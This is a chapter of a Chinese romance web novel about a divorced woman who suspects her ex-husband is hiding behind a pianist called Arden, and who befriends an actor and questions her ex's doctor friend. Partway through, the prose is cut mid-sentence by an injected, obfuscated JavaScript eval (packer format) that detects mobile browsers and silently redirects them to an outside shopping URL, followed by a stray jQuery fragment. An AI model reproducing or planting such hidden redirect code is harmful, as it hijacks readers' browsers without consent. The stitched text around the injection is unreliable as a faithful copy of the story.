文趣网 > 都市小说 > 医生建议我们离婚 > 16. Chapter16
    那晚,包厢的灯始终不曾打开,幽暗的环境中,交谈声压得很低,每个人的脸都隐没在朦胧之中。

    正是因此,距离踏进大门已经过去两个小时,徐观鱼却始终没能得知身处的空间里有多少人、都是谁。

    对未知的不安,让她的心一刻也不能放松。

    屏幕散发出的光亮照射着她右半张脸,她紧抿着唇瓣,目光牢牢锁在高处那人身上——那个让她倍感熟悉、却顶着一个陌生名字的人。

    等待接听的嗡嗡声漫长得像没有尽头,直到自动挂断,Arden弹钢琴的手没有停,赵寻林也没有接通电话。

    理所当然的,她起了疑心,于是又给赵寻林发了条消息,问他现在在哪。

    整整72个小时过去。

    赵寻林不光没给她回电话,连那条消息也没有回复。

    离了婚果然是不一样。

    放在以前赵寻林要是敢这么晾着她,别说三天了,她制裁的巴掌压根不会留着过夜。

    正心火不平,这几天看了几百遍都没有动静的页面忽然就弹出了几条新消息:

    -前几天手机丢了

    -刚找回来

    -有什么事?

    手机丢了?徐观鱼的第一反应是觉得这个借口离谱。

    可仔细想想,他在店里给客户介绍汽车,一天要开几十次车门,不小心掉在哪个夹缝里,几天找不到倒也正常。

    思忖片刻,徐观鱼敲下:-没事,那天路过海城,想着把钱给你。

    页面顶部显示出“对方正在输入中…”,等了整整五分钟,徐观鱼等来了两个字:

    -是吗

    看起来像是他不知道该回复什么,也不想继续聊下去。

    徐观鱼把手机扔到一边,翻了个身仰躺在沙发上,双臂大敞,默默盯着天花板。

    几公里之外的AY酒店顶层套房内。

    赵寻林退出聊天页面,拿起手边的平板,静静看着屏幕上的监控画面。

    他的撒谎精看起来心事重重,总是叹气。

    想轻轻摸一摸她那张可恨却柔软的脸,但指腹靠近后,只触碰到了一片冰凉。

    墙上的挂钟滴答作响,落地窗映出他倚靠在书桌上的颀长侧影,也映出空寂的房间。

    他就那样捧着那块冷硬的电子设备,站了很久。

    ————

    非要说给席玉文当助理有什么好处的话,徐观鱼想,应该是能体验一下陈梦月以前的生活。

    虽然是旁观的视角。

    这天,徐观鱼给席玉文递完水后,又顺手拉了一把在戏中被推倒在地、戏外也无人扶起的女演员。

    她不知道这个女演员是女几号,只知道她几乎每一场都在,即便没有她的戏份,也会站在旁边观摩学习,偶尔还会给现场忙不过来的工作人员搭手。

    如此乖巧、善良。

    衬得席玉文更加刁蛮、泼悍。

    可谁曾想,她只是随手帮个忙,却扶出来麻烦了,不光小演员本人误会她是被席玉文授意的,连女一号左婳婕也这么想。

    起初她没搞清楚缘由,只知道左婳婕忽然看她不顺眼,连着好几天在饭点找她麻烦,一直到下午场要开工才放她走。

    搞得她一个星期没吃上午饭,被赵寻林养好的胃病都又犯了。

    后来还是沈楚楚提醒她,左婳婕对席玉文有想法,跟席玉文走得近的她都看不顺眼,包括那个勤勤恳恳的小演员,也包括她。

    说来好笑,在这事之前,徐观鱼对左婳婕还挺有好感的。

    因为她对剧组的那只小狗演员非常照顾,总给它带各种罐头;因为她和梦月是同一类型的长相;还因为,在这部剧里,她所饰演的角色是短头发。

    徐观鱼最好的两个好朋友,陈梦月和晏杏,都是短头发。

    “观鱼姐,要不我去跟席哥告状,让他帮你说句话?你是他的助理,又不是左婳婕的,她凭什么啥都让你做呀。”

    又一次过了饭点吃不上饭,沈楚楚悄悄塞给她一个面包,跟她嘟囔。

    “谢谢你。”徐观鱼撕开包装袋,往嘴里塞了一大口,“不过你和他说了也没用,他看见过这事,就是不想管。”

    从那天知道她离过婚后,席玉文对她的态度就冷淡了很多,处于一种既想接近她又觉得膈应的状态。

    具体来说,就是她在干活的时候经常感受到他的视线,但如果扭过头和他对视,只会得到他一声似乎厌恶的冷哼。

    既然他抹不下脸,徐观鱼也不往他面前晃悠。

    但进度总要往前赶。

    所以,从某种程度来讲,她还挺感谢左婳婕的刁难的——这是一个合适的、恰当的突破点,在她与席玉文的这段关系中。

    “我的小镜子摔碎了,六号,你去化妆间给我拿一个新的过来。”

    这天午饭时间,徐观鱼照常站在工作人员的队伍中,排队领餐。意料之内的,身后传来左婳婕趾高气扬的指使声。

    她顿下脚步说了声好,乖顺地往化妆室去。

    新镜子拿回来后,左婳婕左右照了几下,随后啧了声,又砸回徐观鱼手里。

    “我之前用的是这个尺寸吗?化妆间那么多镜子,你就故意给我拿个这么小的?”

    她说着,往徐观鱼肩膀上搡了一把。

    往常,这个六号只会低眉顺眼地给她道歉。

    但今天,徐观鱼顺着她手的力道,扑通一声倒在了地上。

    “观鱼姐!”

    沈楚楚一直关注着她们的情况,一看到她倒下,立刻喊着跑了过来。

    席玉文本来正往房车的方向去,听到这声动静后转头,看见徐观鱼无声无息的歪在地面上,神色一变,迅速跑到她跟前。

    “徐观鱼!”

    他焦急地扶起她,可她的身体虚软无力,上身直往他怀里倒。

    左婳婕见状,又担心又气恼,她急切地对席玉文解释:“我没用力推她,她肯定的是装的!”

    席玉文冷冷瞪了左婳婕一眼,“有脸干没脸承认?”

    虚弱的徐观鱼扯了扯他的短袖袖口。

    “是我自己头晕……”

    至于为什么会头晕?

    “……最重要的是准时吃饭,每顿饭都按时吃。像今天这样,都几点了还是空腹状态,你不晕谁晕?再好的身体也经不起这么折腾!”

    医附院东区,十一层病床前,医生语气严肃。

    被教训的徐观鱼态度坦然,连连称是。反观杵在边上的席玉文,神色很不自然。

    等第三个人走出房门,窝在病床上的徐观鱼抬眸看向席玉文,他脸色不太好,一副烦躁的样子。

    “咳。”徐观鱼轻咳一声,“你走吧。”

    席玉文臭着脸,一屁股坐在床沿:“你在埋怨我?”

    徐观鱼露出惊讶神情:“我只是看你皱着眉,以为你不想陪我待在这。”

    他冷冷哼了声,厌恶的表情却收敛了点。

    “我只是不喜欢医院…”他语气轻了几分,“我讨厌这里的气味。”

    得益于赵迎送来的全面的资料,徐观鱼清楚他讨厌医院的原因。

    在他十八岁那年,他妈妈确诊出了肝癌,在医院住了两年多,最终还是去世了。

    “我也不喜欢医院。”徐观鱼掀眸望向他,“你知道为什么吗?”

    “为什么?”

    “因为我妈妈是医生。”徐观鱼轻轻吸了一口气,“她生下我没多久就离婚了,一个人带我,管我管的很严,我讨厌她,连带着也讨厌医生、讨厌医院。”

    席玉文笑了笑,神色却落寞,“至少你还有一个讨厌的妈妈。”

    他的重音放在了“妈妈”两

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492448|202297||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个字上。

    “现在没有了,没有…很久了。”

    “我害死了她,在二十年前。”

    席玉文猛得看向她,神色惊讶。

    徐观鱼扯了扯唇角。

    “因为她管我很严,所以我更喜欢我血缘上的父亲。尽管他只是偶尔想起来了,才尽一尽父亲的职责,给我买些衣服、零食。”

    “在我八岁生日那天,我妈要上班,没办法带我出去玩,我就跟她闹脾气,从家里跑了出去,去找我爸。我爸带我去了游乐园,后来我玩得很开心。”

    “直到晚上,我爸接到一通电话,着急走,联系过我妈后就把我一个人扔在了游乐园门口。我妈做了一天手术太疲惫了,又担心我被拐走,路上太急,出了车祸,当场死亡。”

    垂下眼眸,徐观鱼用指节蹭了蹭眼角,“如果那天我懂事一点,没有跑出去,那我现在至少还有妈妈……”

    “哪怕是一个讨厌的妈妈。”

    这番话徐观鱼说的很熟练,因为这是她第三遍说。

    第一次是说给陈梦月,陈梦月听完感慨:如果我妈和你妈的命运互换一下就好了,偏偏想留的留不住,恨之入骨的一辈子断不开。

    第二次是说给赵寻林,赵寻林抱着她,很温柔地抚摸她的脊背,语气却很强硬:“不去怪闯红灯的货车,不去怪那个不负责任的爸爸,去怪罪一个八岁的小孩吗?徐观鱼,你不能这么刁难自己。”

    而席玉文,沉默了很久,憋出来了三个字:“对不起。”

    徐观鱼问他为什么要说对不起,他又闪烁其词,声音囫囵地糊弄。

    然后恼羞成怒地发脾气:“哎呀,别问了,我收回行了吧。”

    徐观鱼弯起唇角,但眼底没什么笑意。

    “别收回呀,既然对不起,请我吃顿饭呗,餐厅我定,怎么样?”

    “可以。”席玉文答应地很爽快。

    徐观鱼在医院待了半天,临走前,她拐道去了趟13层。

    五点半,简均下班从诊室出来时,看到她很意外。

    “嫂子?你怎么来医院了?是找我有事吗?”

    “低血糖来医院挂了两瓶吊水,顺便来和你打声招呼。你这是…下班了?有时间吗,请你吃个饭?”

    简均说好啊,“赵寻林陪你来的吧,他在楼下?”

    “没有,我自己来的。”徐观鱼对他笑笑。

    随便在医院附近找了个装潢比较像样的铁锅炖,二人面对面坐下。等锅上桌的功夫,简均抓着自己的后颈,来来回回转头。

    就这么旁若无人地扭了几圈,他才忽然想起来对面有人似的,干笑两声,解释道:“我这在椅子上焊了一天,脖子疼得厉害。”

    “理解。”徐观鱼脸上挂着客套的浅笑,“其实今天找你,是有个问题想讨教一下。”

    简均连忙抬手,“诶,嫂子你有事直说就好了,咱俩这关系,说什么讨教不讨教的,生分!”

    徐观鱼嘴角笑意不变,黑沉的眸光牢牢锁在他脸上,不放过他任何一个细微的表情:“那我就直说了……你认识Arden吗?”

    “Arden?”简均重复一遍这个名字,若有所思地挠了挠额角,“听着还真有点耳熟。嘶…赵寻林以前有个朋友,好像就叫这个名字。不过我不太确定嗷,毕竟这过去这么多年了……”

    他的反应并不作假,徐观鱼眼中闪过一瞬寒光。

    还真跟赵寻林有关系。

    “嫂子,要不你去问问赵寻林呢?”

    说话间,服务员将热腾腾的铁锅端到桌上。

    “上齐了,慢用。”

    锅中升腾出的热气飘在他们两人的脸间。徐观鱼端起手边的一次性塑料杯,抿了一口寡淡无味的白开水,语气平静地说:“先吃饭吧……对了,你以后别这么叫我了,我和他已经离了。”